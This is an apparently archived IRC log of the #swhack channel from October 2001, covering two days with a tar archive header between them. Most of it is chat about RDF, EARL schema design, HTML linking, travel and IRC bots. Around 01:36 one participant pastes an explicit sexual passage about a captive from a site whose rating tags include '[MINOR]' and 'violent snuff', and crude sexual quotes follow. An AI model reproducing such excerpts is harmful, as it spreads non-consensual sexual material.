sbp has joined #swhack 19:08:24 <sbp> * sbp has some really cool song snippets; need to sequence them together 19:15:08 <AaronSw> Oh, hello there... 19:15:14 <AaronSw> Let me upload my parser kit for you. 19:15:14 <sbp> Hi 19:16:19 <sbp> Hmm... some of the bits have a different rhythm to the others 19:16:20 <AaronSw> Let me know what you think of it. 19:16:53 <AaronSw> - http://blogspace.com/rdf/kitchen.txt 19:17:14 <AaronSw> Parses N3 and XRDF via the SWAP toolkit. 19:18:29 <sbp> heh, heh: """Turns an RDFSink carrot into a TRAMP node.""" 19:19:10 <sbp> very concise, but of course, SWIPT did something similar, only less advanced 19:19:19 <AaronSw> how so? 19:19:20 <AaronSw> OK, gotta go back to taking apart the sukkah 19:19:25 <AaronSw> bbiab 19:19:32 <sbp> sukkah? bbiab? 19:19:39 <sbp> be back in a bit... 19:19:49 <sbp> Perhaps Google can help with sukkah 19:20:54 <sbp> Hmm... http://www.sukkot.com/ 19:23:13 <sbp> ah: http://www.ou.org/about/judaism/sukkah.htm 19:24:49 <sbp> you really have to temporarily live in it? 19:24:58 <sbp> Man, there's so much I don't know about Judaism 19:26:54 <sbp> following from Al's rant on ER: we could come up with some subset of RDDL, that we could do XRDF/EARL =XSLT=> RDDL/EARL 19:27:37 <sbp> then the link could be human and machine readable. Dunno. The ER thread confuses me in a sense, because there is so much work being repeated, and some things not being said clearly, and other things being said too clearly 19:29:47 <sbp> I mean, there have been about 5 emails of discussion about putting <meta/> into the body of an HTML page. What's that all about? IF you're going to do it, just do it: write a module, create a namespace. Don't expect people to be happy about serving it as text/html (William F. Hammond!), don't expect people to implement it on a wide scale until they are 110% satisfied that it will benefit them (financially?), don't expect tools to process it unless 19:31:09 <sbp> Of course, HTML is odd that way. Architecturally, it's absolutely terrible, it could be retrofitted onto SGML, and the only reason to retrofit it onto XML is to process it with XSLT. And it is retrofitting: HTML moves (moved) faster than those technologies 19:32:32 <sbp> People write what they want done with it, rather than what they mean; it's an inescapable fact. You either hack about with the world's quakiest document architecture, or you wait and contribute to the new one, which probably won't be any better (aren't I the cynic?) 19:32:36 <deltab> "don't expect tools to process it unless" - what? 19:33:10 <sbp> oops, it must have been chopped off, here's a paste: "don't expect tools to process it unless you write them yourself. But it can be done. HTML was built that way" 19:33:15 <sbp> Hi deltab :-) 19:34:46 <AaronSw> * AaronSw returns 19:35:04 <AaronSw> temporarily live: no just eat meals in it and optionally sleep 19:35:26 <sbp> HTML will always be hacked. It doesn't matter how good it is really, because it's never going to be perfect for all uses. You have to make sure that it's extensible, and that extensions don't bugger things up too badly 19:35:29 <sbp> aha 19:36:34 <sbp> how this relates to EARL: there's no way we're going to mandate a link from HTML to "EARL" in any official capacity, because there's no way to make that link official. We can only ever hack it 19:36:58 <AaronSw> Nah, use the <link> tag 19:37:04 <sbp> which isn't a bad thing necessarily, but it requires consensus, and that's a difficult thing to get, especially when you have people with different agenda's around 19:37:05 <AaronSw> that's what us RSS folks are doing 19:37:10 <sbp> <link> is a perfect example of a terrible hack 19:37:12 <AaronSw> especially now that Mozilla supports it. 19:37:19 <AaronSw> Have you played with kitchen at all? Does it work for you? 19:37:34 <sbp> you RSS folks also forgot that classes and properties are disjoint, so that doesn't particularly sway me 19:37:50 <sbp> Kitchen: no, I'll certainly take your word for it 19:37:59 <AaronSw> Heheh. 19:38:02 <AaronSw> to both 19:38:04 <sbp> :-) 19:38:46 <AaronSw> We have good names on the project! Edd was the one who proposed the class/property thing and danbri helped push it thru, as I recall. 19:39:19 <sbp> <link>: why develop an inextensible linking mechanism that uses tokens, and requires consensus, then hack in a profile attribute, not define how it should be used, and then mess things up totally by declaring that some joint properties have different meanings. Aaaargh! 19:39:30 <sbp> pushed it through: yuck 19:40:18 <sbp> so <link> isn't architecturally sound... but what's it used for? rel="stylesheet". Ta da, it works. That's all that matters for HTML 19:42:34 <AaronSw> Correction, according to <http://groups.yahoo.com/group/rss-dev/surveys?id=357230>, danbri did not vote for the proposal. 19:43:21 <sbp> so we can say, "sure, use <metadata>some set of elements defining a link to an EARL report</metadata>"... but we can't expect anyone to take us seriously; even if we create the proper XHTML m12n family for it, or whatever 19:44:09 <AaronSw> Why not? You're the onl one who won't take it seriously. 19:44:31 <AaronSw> Nobody else cares about architectural soundness -- they just want it to work. 19:45:32 <sbp> what I mean is, it won't even work. Where are the tools? My whole point *is* that no one cares about architectural soundness, and that HTML has thrived because of that 19:45:44 <sbp> well, not my whole point; much of it 19:46:31 <AaronSw> Mozilla is a tool, it works. Same with iCab. 19:46:42 <sbp> yeah? 19:48:01 <AaronSw> yeah yeah? 19:48:14 <sbp> I mean, so what? 19:48:20 <AaronSw> * AaronSw really needs to go plan his trip.... 19:48:27 <AaronSw> So just do it and stop whining. 19:48:55 <sbp> trip? 19:49:16 <AaronSw> Yeah, I'm putting together a budget proposal for going to http://conferences.oreilly.com/p2p/ 19:49:21 <sbp> neat 19:49:30 <sbp> budget proposal: to whom? 19:49:40 <AaronSw> Parents. 19:50:01 <AaronSw> * AaronSw tries to think of funding agencies that'd help pay for trip to W3C Plenary... 19:50:46 <sbp> the W3C? :-) 19:51:08 <AaronSw> Yeah... 19:57:56 <sbp> c'ya 19:59:05 <AaronSw> c'ya 20:01:14 <sbp> sbp has quit 20:59:29 <rillian> rillian has joined #swhack 21:00:02 <AaronSw> hi rillian 21:00:31 <rillian> hey aaron 21:00:37 <rillian> you don't have a tibook do you? 21:00:42 <AaronSw> Indeed, I do. 21:00:52 <rillian> ah. congrats :) 21:00:57 <AaronSw> :-) 21:01:10 <rillian> do you have an XF86Config I could crib from? 21:01:26 <AaronSw> I just used whatever came with my fink install. 21:01:45 <sbp> sbp has joined #swhack 21:01:47 <rillian> you don't run linux then? 21:02:03 <AaronSw> Oh, no, I just run an X Server from Mac OS X. 21:02:03 <sbp> nope 21:02:11 <AaronSw> Hi sbp. 21:02:19 <sbp> Hi :-) 21:02:43 <rillian> does the rootless thing work ok? 21:03:02 <AaronSw> Well, it worked great the first time I tried it and now I can't get it to start up again. :-( 21:03:06 <sbp> heh, heh: inconsistent chopping/diareses in my paste to ERT of the #swhack chat logs means that there is a bit which just reads "<sbp> pushed it through: yuck" with no background 21:03:36 <AaronSw> Heheheh. 21:03:55 <AaronSw> Oh, there's a rootless upgrade out... let me install... 21:04:29 <rillian> AaronSw: drat. Anyway, I can't get X (under linux) to work. it launches all the way to the X cursor, then quits without an error message 21:04:43 <AaronSw> Weird. 21:04:50 <rillian> indeed 21:05:15 <rillian> I would guess since I get recognizable video that it's not the config file 21:05:24 <rillian> but I can't seem to find anything else that's out of order 21:06:11 <AaronSw> What's the error message? 21:06:31 <rillian> <rillian> ...quits without an error message 21:06:46 <AaronSw> Oh, sorry -- I read that as "with an error message" 21:10:29 <AaronSw> Heheh: 21:10:29 <AaronSw> munged-Beatles: "Good evening and welcome to swhackers." 21:10:33 <AaronSw> You know my URN, you know my URN... 21:10:37 <AaronSw> Look up my URL... 21:12:35 <sbp> lol @ munged-Beatles: "Good evening and welcome to swhackers." 21:12:47 <sbp> sbp has changed the topic to: Good evening and welcome to swhackers 21:13:05 <sbp> heh, URN... 21:14:41 <sbp> poor EARL... wonder what to do about it 21:16:01 <AaronSw> * AaronSw looks around for $1526 to pay for conference expenses :-( 21:16:11 <sbp> we really need implementations => we really need a stable specification => we really need me to write a stable specification very, very quickly => we need the work on TPDL to be done => damn 21:16:35 <AaronSw> Heh. 21:16:46 <sbp> we also need me to document the schema properly this time; it's clear that no one can follow the RDF Schema, although it's absolutely perfect for defining the language 21:16:59 <AaronSw> Hmmph. 21:17:09 <sbp> the problem is, I expected people to learn RDF Schema... heh, heh! 21:17:35 <AaronSw> Just write an RDF Schema -> Human Readable translater 21:17:41 <sbp> lol! 21:18:33 <sbp> trouble is, I start documenting it, and get bored quite quickly. It feels to me like I'm needlessly repeating work... 21:19:22 <sbp> I could just produce an EARL 1.0 schema, and say: here it is, use it, resistance is futile 21:19:22 <AaronSw> See, that translator could then be used by other projects too. 21:19:31 <AaronSw> Yep, that might be best. 21:19:38 <AaronSw> Along with a lot of examples. 21:19:51 <AaronSw> Aha! I know the solution: 21:19:55 <sbp> creating an RDF Schema => XHTML translator would be more complex than doing the entire EARL work 3 times over 21:20:04 <sbp> I did write a short implementation in XSLT 21:20:10 <AaronSw> But so much more rewarding. ;) 21:20:15 <AaronSw> Here's the ticket; Just make Bob B. Bobbington do the work for you! 21:20:19 <sbp> lol! 21:20:25 <sbp> good idea 21:20:58 <AaronSw> If people ask why it isn't done, just say "Talk to Bob about it. Shoo, shoo!" 21:21:12 <sbp> lol, and cool reference to the Dilbert quote 21:21:25 <sbp> Hmm... I wouldn't feel so bad writing an EARL schema if it didn't fuck with the ATR output too much 21:21:43 <AaronSw> ATR? 21:22:01 <sbp> Chris has worked for ages on making that produce decent EARL, and has been *very* patient with me. I would have given up ages ago 21:22:10 <sbp> ATR - Accessibility Tool Reviewer 21:22:28 <AaronSw> What's it written in? 21:22:33 <sbp> I owe him, and yet if we change EARL, it'll be more work for him to do! Aaaargh! 21:22:36 <sbp> it's in C 21:22:58 <AaronSw> Chris Lilley? 21:23:05 <sbp> I started on a Python port, but CGI... shudder 21:23:10 <sbp> Chris Ridpath 21:23:21 <AaronSw> Don't know 'im. 21:23:32 <AaronSw> * AaronSw can't imagine folks doing CGIs in C... ick. 21:23:45 <sbp> he didn't do a CGI: it's a Win32 app 21:23:51 <sbp> I tried to port it to CGI... 21:23:54 <AaronSw> Ah. 21:26:58 <sbp> your unique date idea was a good one, but its screwy in that data datatypes... tricky to implement 21:27:13 <AaronSw> Huh? 21:27:20 <sbp> I mean, I can't even get the ASP form to output correct dates (I could do, I suppose) 21:27:41 <sbp> _:a earl:testSubject <http://exmaple.org/>; earl:date "2001-05-17" . 21:29:47 <AaronSw> Hmm, the airport for the next plenary is CEQ. 21:30:00 <sbp> CEQ? 21:30:42 <AaronSw> Cannes, France - Mandelieu 21:31:04 <sbp> uh huh 21:32:54 <AaronSw> Hmm, none of the travel sites seem to have flight data... 21:35:45 <AaronSw> * AaronSw tries the Heliport. 21:35:59 <AaronSw> JCA 21:36:10 <sbp> how do I say that two properties overlap? 21:36:19 <sbp> er... I meant, two classes 21:36:35 <sbp> I could declare an intersection, but I don't want to use it 21:36:44 <AaronSw> What do you mean? How can properties overlap? 21:36:51 <sbp> I meant: classes 21:36:53 <AaronSw> Oh, I see... classes. 21:37:00 <AaronSw> Isn't it assumed that they overlap? 21:37:13 <AaronSw> Unless you say otherwise. 21:37:20 <AaronSw> Why do you want to say this? 21:37:22 <sbp> :Dog :Cat 21:37:29 <sbp> they don't overlap 21:37:42 <AaronSw> "CatDog, CatDog, this is a show about a little CatDog." 21:37:45 <sbp> :Person :Male 21:37:46 <sbp> they do 21:38:06 <sbp> I'll just do an intersection 21:38:06 <AaronSw> Why do you need to specifically state that they do? 21:38:16 <sbp> in EARL 1.0:- 21:38:17 <sbp> earl:Person a rdfs:Class; 21:38:17 <sbp> rdfs:subClassOf earl:Assertor . 21:38:17 <sbp> earl:operator 21:38:17 <sbp> rdfs:range earl:Operator . 21:38:17 <sbp> [ daml:intersectionOf (earl:Operator earl:Person) ] . 21:38:21 <AaronSw> intersections can be empy. 21:38:41 <sbp> true 21:39:22 <sbp> Hmm... that's a mess. Lemme do it in prose 21:39:36 <sbp> An Assertor is the class of things that make EARL assertions 21:39:50 <sbp> A Person is a person: an assertor may be a parson 21:39:52 <sbp> person 21:40:11 <sbp> A machine is a machine: an assertor may also be a machine 21:40:19 <rillian> rillian has quit 21:40:24 <sbp> A person cannot be a machine 21:40:33 <sbp> A machine can have an operator 21:40:50 <sbp> Operator is the class of things that operate a machine 21:41:04 <sbp> can a machine operate a machine? 21:41:27 <AaronSw> I suppose so, but I'm not sure it'd be a useful distinction for your app. 21:42:13 <sbp> so far, we have: :Assertor daml:disjointUnionOf (:Person :Machine) . :operator rdfs:domain :Machine; rdfs:range :Operator . 21:42:32 <AaronSw> This is crazy -- it's cheaper to fly to France than Hawaii. 21:42:39 <sbp> makes sense 21:42:45 <AaronSw> Why? 21:42:49 <sbp> more flights, more airports 21:42:58 <sbp> not much further away 21:43:12 <AaronSw> No, just to Nice, France. 21:43:18 <AaronSw> One airport. 21:43:44 <sbp> but I mean, there isn't a limit that people must go to Nice airport ot get to France 21:43:54 <AaronSw> True. 21:43:54 <sbp> but if they want to go to Hawaii, I'll bet they have to go to Honolulu 21:46:22 <sbp> Hmm... I say that all people and machines are assertors... that can't be right 21:46:47 <sbp> I mean, some people are assertors, some machines are assertors 21:47:04 <sbp> and is "Assertor" American English? 21:48:09 <AaronSw> I've never heard the word before, but i'd expect so... 21:48:09 <sbp> dunno, but it is a word: http://www.dict.org/bin/Dict?Form=Dict2&Database=*&Query=Assertor 21:48:18 <sbp> [[[ 21:48:19 <sbp> Assertor \As*sert"or\, n. [L., fr. asserere.] 21:48:19 <sbp> One who asserts or avers; one who maintains or vindicates a 21:48:19 <sbp> claim or a right; an affirmer, supporter, or vindicator; a 21:48:19 <sbp> defender; an asserter. 21:48:19 <sbp> 21:48:21 <sbp> The assertors of liberty said not a word. --Macaulay. 21:48:23 <sbp> 21:48:25 <sbp> Faithful assertor of thy country's cause. --Prior. 21:48:27 <sbp> ]]] 21:48:42 <AaronSw> The assertors of liberty said [assertor was] not a word. --Macaulay. 21:48:51 <tav> tav has joined #swhack 21:48:52 <sbp> :-) 21:48:55 <sbp> Hi tav 21:49:03 <AaronSw> Wooh, is tav back? 21:49:07 <AaronSw> <xena> potential spellings for assertor are: assorter, assentor, assorted, assorters, assentors, asserted, asserts, aggressor, assaulter, ascertain 21:49:13 <AaronSw> tav?! 21:50:52 <sbp> :Assertor rdfs:subClassOf [ daml:disjointUnionOf (:Person :Machine) ] . [ daml:intersectionOf (:Assertor :Machine) ] . [ daml:intersectionOf (:Assertor :Person) ] . 21:50:56 <sbp> but that's so verbose... 21:51:02 <AaronSw> oh shoot disk full 21:51:03 <sbp> there has to be a neater way of doing it 21:51:07 <tav> hello 21:51:10 <sbp> hi 21:51:52 <sbp> ah, that'll have to do 21:52:16 <AaronSw> This can't be good: /dev/disk0s5 19639008 19973264 -334256 101% / 21:53:17 <sbp> heh! 21:53:39 <AaronSw> * AaronSw frantically closes windows 21:53:54 <AaronSw> * AaronSw disconnects 22:01:55 <AaronSw> * AaronSw reconnects 22:08:59 <AaronSw> logster, grep \$ 22:09:03 <AaronSw> I'm logging. Sorry, nothing found for '\$' (internally: "\") 22:09:52 <sbp> ? 22:09:59 <sbp> logster, grep \\$ 22:10:01 <logster> I'm logging. I found 78 answers for '\\$' (showing 0...4) 22:10:02 <logster> 0) 2001-10-21 03:53:55 <sbp> r = re.compile(t+t+t+r'[ \t]*.[ \t]*', re.S).findall 22:10:03 <logster> 1) 2001-10-21 03:53:55 <sbp> t = r'[ \t]*(<[^>]+>|_:[^\s]+|\"(?:\\\"|[^"])*\")' 22:10:04 <logster> 2) 2001-10-21 01:38:38 <sbp> s/'\n\t{ %s %s %s }'/'%s %s %s .' 22:10:05 <logster> 3) 2001-10-21 01:14:44 <sbp> "\"s" <#t> "" . 22:10:06 <logster> 4) 2001-10-21 01:14:40 <sbp> <#p> <#q> "\"r" . 22:10:34 <sbp> logster, grep \$$ 22:10:43 <sbp> I'm logging. Sorry, nothing found for '\$$' (internally: "\") 22:10:43 <sbp> grepit! 22:11:09 <AaronSw> * AaronSw looks for $6098 :-( 22:11:11 <sbp> logster, grep internally: "\" 22:11:14 <sbp> I'm logging. Sorry, nothing found for 'internally: "\"' 22:11:18 <sbp> try under the sofa 22:11:30 <AaronSw> Yeah, tried that... 22:11:33 <sbp> :-) 22:30:23 <AaronSw> * AaronSw disconnects 23:22:48 <sbp> sbp has quit 23:23:09 <rillian> rillian has joined #swhack 23:41:47 <rillian> rillian has quit ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-22.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000153120�07365130455�011670� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:48:57 <AaronSw> * AaronSw reconnects 00:55:50 <BenSw|away> BenSw|away has quit 00:56:03 <BenSw|away> BenSw|away has joined #swhack 01:05:22 <sbp> sbp has joined #swhack 01:05:30 <sbp> sbp has quit 01:06:01 <sbp> sbp has joined #swhack 01:06:21 <sbp> Just replied to your duri message 01:06:30 <sbp> [[[ 01:06:30 <sbp> This ties back into a discussion that I just had with Pat Hayes on this 01:06:30 <sbp> very list [1]; that "the entity the resource corresponds to" and "the 01:06:31 <sbp> resource itself" identified by an HTTP are indistinguisable in some 01:06:33 <sbp> contexts of use, and not in others. With respect to this discussion, what 01:06:35 <sbp> this means is that the duri specification will have to decide what it is 01:06:37 <sbp> that an HTTP URI identifies within the context of a duri, and Aaron has 01:06:39 <sbp> already graciously provided that answer. 01:06:41 <sbp> ]]] 01:06:46 <AaronSw> Yeah, was catching up on random email messages in the car. 01:07:01 <sbp> - http://lists.w3.org/Archives/Public/uri/2001Oct/0012 01:07:02 <sbp> cool 01:07:22 <deltab> deltab has quit 01:07:22 <tav> tav has quit 01:07:22 <sbp> the "[1]" reference was to 0009 01:07:22 <deltab> deltab has joined #swhack 01:07:45 <AaronSw> I still have 925 messages to go :-( 01:07:57 <sbp> Heh! 01:08:01 <AaronSw> 923 01:08:13 <sbp> now you have mine too 01:08:26 <AaronSw> * AaronSw deletes sbp's... 922 01:08:29 <sbp> :-) 01:08:31 <AaronSw> :-) 01:10:17 <tav> tav has joined #swhack 01:12:30 <sbp> I should buy more books => I need money => I need a job => I'm too lazy/ill to work => I need to win the lottery => I need to play the lottery => I need money to play the lottery => I need a job => crap 01:12:40 <tav> LOL 01:12:53 <sbp> :-) 01:14:18 <sbp> I should write a WebLog. But no one would visit it 01:14:28 <sbp> including me 01:15:39 <AaronSw> Hehehehe. 01:15:40 <AaronSw> I'd visit it. 01:15:49 <sbp> you don't count 01:16:01 <sbp> you'll visit anything :-) 01:17:07 <AaronSw> Ha! 01:17:24 <AaronSw> Actually, I've given up on actually visiting sites -- the new version of ArchiverProxy does it for me. 01:17:24 <sbp> I should write a page about Donkeys. They're fun animals. Well, I think they are... I need to learn more abotu Donkeys 01:17:45 <sbp> does it read your email for you yet? 01:17:54 <AaronSw> No, jwz will have to wait. 01:18:43 <sbp> aha: http://www.donkeys.com/donkeyinfo.html 01:18:47 <sbp> thanks, Google 01:20:11 <AaronSw> Heheh. He's actually serious! 01:20:39 <sbp> yes, I am 01:20:51 <sbp> fascinating animals, Donkeys 01:20:57 <sbp> heh: http://www.google.com/search?hl=en&q=sbp 01:21:24 <AaronSw> Stock quote for Sntander Bancorp Holding Co beats you. :) 01:21:29 <sbp> blargh 01:21:43 <sbp> but that's an internal Google thing, not a search result 01:21:55 <AaronSw> Pfft. 01:22:04 <AaronSw> <google> Argh, it's a stock quote page :( 01:22:25 <AaronSw> <AaronSw> aaron 01:22:25 <AaronSw> <google> aaron: http://www.aaronsw.com/ 01:22:41 <sbp> where is Google? 01:23:01 <AaronSw> *** on channels: #c #opensource #perlsnobs +#windowmaker #nerdfest +#linuxhelp +#scsi +#freebsdtips #linuxnetworking #linuxgrrls @#conic 01:23:05 <AaronSw> Heheh, perlsnobs 01:23:20 <sbp> sbp has left #swhack 01:23:30 <sbp> sbp has joined #swhack 01:23:37 <AaronSw> Leaving us? 01:23:48 <sbp> I'm still here 01:24:13 <sbp> who's yath? 01:24:25 <AaronSw> He's google's owner as I recall. 01:24:29 <sbp> aha 01:24:39 <AaronSw> Where'd you hear of him? 01:25:33 <sbp> Google 01:25:40 <sbp> <google> Ask yath if you want me to join #swhack. 01:25:41 <sbp> <sbp> ask who? 01:25:41 <sbp> <google> ask who: http://www.askjeeves.com/ 01:25:41 <sbp> <sbp> blargh 01:25:41 <sbp> <google> blargh: http://www.blargh.no/ 01:26:04 <AaronSw> What'd you type to get him to say the "Ask yath" bit? 01:26:58 <sbp> I invited it to #swhack 01:27:20 <AaronSw> How? 01:27:32 <sbp> using the invite function, how else? 01:27:46 <AaronSw> Ah. 01:27:59 <AaronSw> We need xena back. 01:28:14 <sbp> xena No such nick/channel 01:29:11 <AaronSw> Yeah, she's still sick. 01:29:27 <sbp> perhaps we should limit the amount of users in this channel to 5000000000? 01:29:37 <AaronSw> You think so? 01:29:41 <sbp> that would seem sensible to me 01:30:04 <AaronSw> I think the OPN server does that automatically for us. 01:30:09 <sbp> great! 01:31:36 <sbp> swhack still hasn't been cached/found by Google 01:31:59 <AaronSw> I know... :-( 01:32:26 <sbp> neither has swintro... 01:34:01 <sbp> * sbp thinks of a cool quit message for Morby 01:34:03 <sbp> tender nutsacks? disobey.com 01:35:01 <xena> xena has joined #swhack 01:35:07 <sbp> aha! 01:35:09 <AaronSw> * AaronSw waves to xena ;) 01:35:17 <sbp> xena, tender nutsacks? 01:35:30 <sbp> aw... 01:35:43 <sbp> how do we operate her, then? 01:35:52 <xena> Perhaps you should check out http://www.bmeworld.com/eunuch/Alpha/S/ea_11501Shipwrec.htm 01:36:00 <AaronSw> .google tender nutsacks 01:36:01 <xena> tender nutsacks: http://www.bmeworld.com/eunuch/Alpha/S/ea_11501Shipwrec.htm 01:36:04 <sbp> yes, perhaps I should 01:36:49 <sbp> aha:- 01:36:50 <sbp> [[[ 01:36:50 <sbp> As the black captive was stroked to full erection, the 01:36:51 <sbp> native men would gently and tenderly fondle his large nuts 01:36:51 <sbp> and bending over would kiss each one reverently. This was 01:36:51 <sbp> like a blessing to them, hoping that the virility of the 01:36:51 <sbp> captive would be passed on to them. 01:36:53 <sbp> ]]] 01:37:04 <sbp> yes.... erm... fine... 01:37:11 <AaronSw> More than I needed to know... 01:37:32 <sbp> those sea folk, eh? 01:37:39 <AaronSw> Rated: [GAY] [PENECTOMY] [TESTICLES] [NULLIFICATION] [MINOR] warning: violent snuff 01:37:41 <AaronSw> Hmm... 01:38:49 <sbp> wonder how my homepage would be rated? 01:41:43 <AaronSw> not like that, I hope 01:42:35 <sbp> yeah 01:42:50 <sbp> [BORING] [NARCISSISTIC] [LINKY] 01:43:29 <AaronSw> Heheh. 01:46:11 <AaronSw> The movies linked to from this page are hilarious: 01:46:11 <AaronSw> http://jchemed.chem.wisc.edu/jcesoft/cca/CCA0/SAMPMOVS.HTM 01:46:32 <AaronSw> Like the Ice Bomb and Nitrogen Triiodide Detonation 01:49:29 <AaronSw> * AaronSw wonders what'd happen if he stopped all Internet communication 01:49:42 <AaronSw> How many days would it be before someone called me on the phone? 01:51:34 <sbp> yeah, I wondered that too 01:52:08 <sbp> and I also wondered how long it would be before some other means of communication were used if I changed my phone number 01:52:50 <AaronSw> Yeah, same here. 01:53:13 <AaronSw> Hmm, what other means of communication do I have with you? 01:53:18 <AaronSw> Snail mail... 01:53:37 <sbp> you could get someone to visit 01:53:48 <AaronSw> I don't really know anyone in that part of town... perhaps danbri'd go over 01:53:58 <sbp> I wonder if there is an email=>post service? 01:54:05 <AaronSw> Yep, there is. 01:54:25 <sbp> where? 01:54:40 <AaronSw> I don't remember off hand. 01:54:44 <deltab> compuserver used to do that, iirc 01:54:57 <deltab> er, compuserve 01:58:22 <AaronSw> I love this movie! http://jchemed.chem.wisc.edu/jcesoft/cca/CCA0/MOVIES/NI3IOD.html 01:58:28 <AaronSw> It makes me crack up every time. 01:59:33 <AaronSw> Ooh, starwars.com in RSS! 02:02:50 <sbp> RSS? 02:03:05 <sbp> ah: Relay Spam Stopper 02:03:24 <AaronSw> .google rss 02:03:25 <xena> rss: http://work-rss.mail-abuse.org/rss 02:03:32 <AaronSw> Ugh! 02:03:41 <AaronSw> * AaronSw redoubles his linking... 02:04:59 <AaronSw> Hmm, http://www.purl.org/rss/1.0/ 02:05:02 <AaronSw> is a nice site... http://www.purl.org/rss/1.0/ 02:05:05 <AaronSw> http://www.purl.org/rss/1.0/ 02:06:58 <AaronSw> .mail http://www.purl.org/rss/1.0/ www-archive@w3.org 02:07:10 <AaronSw> .email 02:07:11 <xena> usage: email <email address> [<subject line> //] <message> 02:07:12 <xena> - send email from irc! just specify the email address you want to send it to. 02:07:13 <xena> - you can also provide an optional subject line, provided you close it with // 02:07:22 <AaronSw> .email http://www.purl.org/rss/1.0/ www-archive@w3.org 02:07:23 <xena> email successfully sent. 02:07:47 <AaronSw> .email me@aaronsw.com This is a test // Hello there! 02:07:47 <xena> email successfully sent. 02:08:05 <AaronSw> Wow, it even knew to bounce the message to me! 02:08:22 <AaronSw> Pretty cool. 02:08:56 <sbp> Hasn't come through: http://lists.w3.org/Archives/Public/www-archive/2001Oct/ 02:09:00 <tav> heh 02:09:10 <AaronSw> Yeah, I screwed up the command. 02:09:45 <tav> .email AaronSw@espnow.com hello! // note the signature below ;p 02:09:45 <xena> email successfully sent. 02:09:59 <AaronSw> Yeah, I wondered why tav gets a .sig and I don't. 02:10:17 <tav> you can setup your signature on the xnet 02:10:37 <AaronSw> .email tav Re: hello! // I want a signature too! \n\nAll the best, \nAaronSw 02:10:38 <xena> email successfully sent. 02:10:57 <tav> don't think \n will get interpreted 02:11:27 <tav> i was right 02:11:32 <tav> it treats it literally 02:11:33 <AaronSw> Pah. 02:12:07 <tav> i'd tell you to login to the xnet, but i never made a gui for the sig setting method ;p 02:12:19 <AaronSw> Oh,,, 02:12:24 <sbp> dataplesh 02:12:25 <AaronSw> * AaronSw stops trying to remember his password 02:12:31 <sbp> oops, now where did that come from? 02:12:33 <tav> mail_password_form 02:12:53 <sbp> *cough* dataplesh *cough* 02:13:00 <tav> dataplesh is a shit name ;p 02:13:02 <AaronSw> Yeah, it doesn;t seem to be mailing. 02:13:05 <sbp> I agree 02:13:18 <AaronSw> Oh, whoops 02:13:22 <tav> oooh, i thought AaronSw would be trying to brainwash you by now 02:13:41 <AaronSw> He's just saying that because he wants a tshirt 02:13:44 <sbp> AaronSw is all-cool. He would not try to brainwash me because he is the master 02:13:58 <tav> heh 02:13:59 <AaronSw> Yeah, true. ::) 02:14:14 <AaronSw> .when did tav get brainwashed 02:14:14 <xena> tav last logged in on 2001/10/21 16:52:47.8534 Universal 02:14:36 <sbp> but dataplesh is still a bit of a crap name 02:14:57 <tav> .when did AaronSw last get anally glassed? 02:14:57 <xena> aaronsw last logged in on 2001/10/22 02:15:19.8015 Universal 02:15:00 <tav> hmz 02:15:11 <sbp> * sbp almost splurted out his drink at that 02:15:18 <AaronSw> .google anally glassed 02:15:19 <xena> anally glassed: http://yourcup.tripod.com/b167.htm 02:16:04 <sbp> [[[ 02:16:05 <sbp> He mumbled something about "then you should be living with someone as anally 'clean' …" and I was very hurt. 02:16:06 <sbp> ]]] 02:16:45 <sbp> .google anally clean 02:16:46 <xena> anally clean: http://www.cleansheets.com/archive/archreviews/luberev_10.14.98.html 02:17:06 <sbp> that's better! 02:17:16 <sbp> [[[ 02:17:17 <sbp> For those of us who play with them, we know that dildoes don't make their own lubrication. 02:17:18 <sbp> ]]] 02:17:36 <sbp> tsk, that's a bit of a design fault if ever there was one 02:19:20 <sbp> oh wow, I want them to provide that table in RDF! 02:19:41 <AaronSw> LOL 02:20:05 <sbp> [[[ 02:20:06 <sbp> Of the strawberry flavor, the only comment was "mmmmmmm." 02:20:07 <sbp> ]]] 02:25:05 <sbp> scary/funny stuff 02:26:41 <AaronSw> heh 02:26:53 <sbp> "Sorry, this server does not serve that site." - http://www.dataplesh.com/ 02:26:54 <sbp> what? 02:27:42 <AaronSw> IOW, I haven't set up a website for it yet. 02:28:24 <sbp> I should write a newsletter thingy 02:28:51 <AaronSw> On what? Donkeys? 02:29:12 <sbp> as an alternative to a WebLog, about whatever 02:29:18 <sbp> Donkeys can be in issue 1 02:30:22 <AaronSw> hmm 02:33:10 <sbp> * sbp is faced with a choice: WebLog, or NewsLetter 02:34:07 <AaronSw> Oooh. 02:34:25 <AaronSw> How's the I'm-a-weirdo page coming? 02:35:02 <sbp> the I'm-a-weirdo page? I'm doing an I'm-a-boring-narcissist page, but not an I'm-a-weirdo page 02:36:35 <sbp> I was going to put it online, but I couldn't be bothered 02:36:42 <AaronSw> Heh. 02:38:59 <sbp> I suppose a WebLog would be more expressive than a NewsLetter 02:39:13 <AaronSw> Yep. 02:39:25 <AaronSw> And making it pull instead of push makes it seem less "I'm so important so read me now!" 02:39:35 <sbp> yeah 02:39:45 <AaronSw> * AaronSw comes up for cunning plan to free his email from Microsoft's clutches 02:39:47 <AaronSw> I shall use IMAP! 02:39:50 <sbp> but a letter from me *is* important 02:39:55 <AaronSw> :-) 02:44:25 <sbp> logster, grep LOL 02:44:29 <logster> I'm logging. I found 51 answers for 'LOL' (showing 0...4) 02:44:30 <logster> 0) 2001-10-22 02:44:25 <sbp> logster, grep LOL 02:44:31 <logster> 1) 2001-10-22 02:19:41 <AaronSw> LOL 02:44:32 <logster> 2) 2001-10-22 01:12:40 <tav> LOL 02:44:33 <logster> 3) 2001-10-21 03:13:02 <AaronSw> LOL 02:44:34 <logster> 4) 2001-10-21 03:01:57 <AaronSw> LOL 02:44:51 <AaronSw> logster, grep -i sbp.*lol 02:44:53 <logster> I'm logging. I found 159 answers for 'sbp.*lol' (showing 0...4) 02:44:54 <logster> 0) 2001-10-22 02:44:51 <AaronSw> logster, grep -i sbp.*lol 02:44:55 <logster> 1) 2001-10-22 02:44:25 <sbp> logster, grep LOL 02:44:56 <logster> 2) 2001-10-21 03:02:31 <sbp> lol 02:44:57 <logster> 3) 2001-10-21 02:56:02 <sbp> lol 02:44:58 <logster> 4) 2001-10-21 21:21:12 <sbp> lol, and cool reference to the Dilbert quote 02:45:07 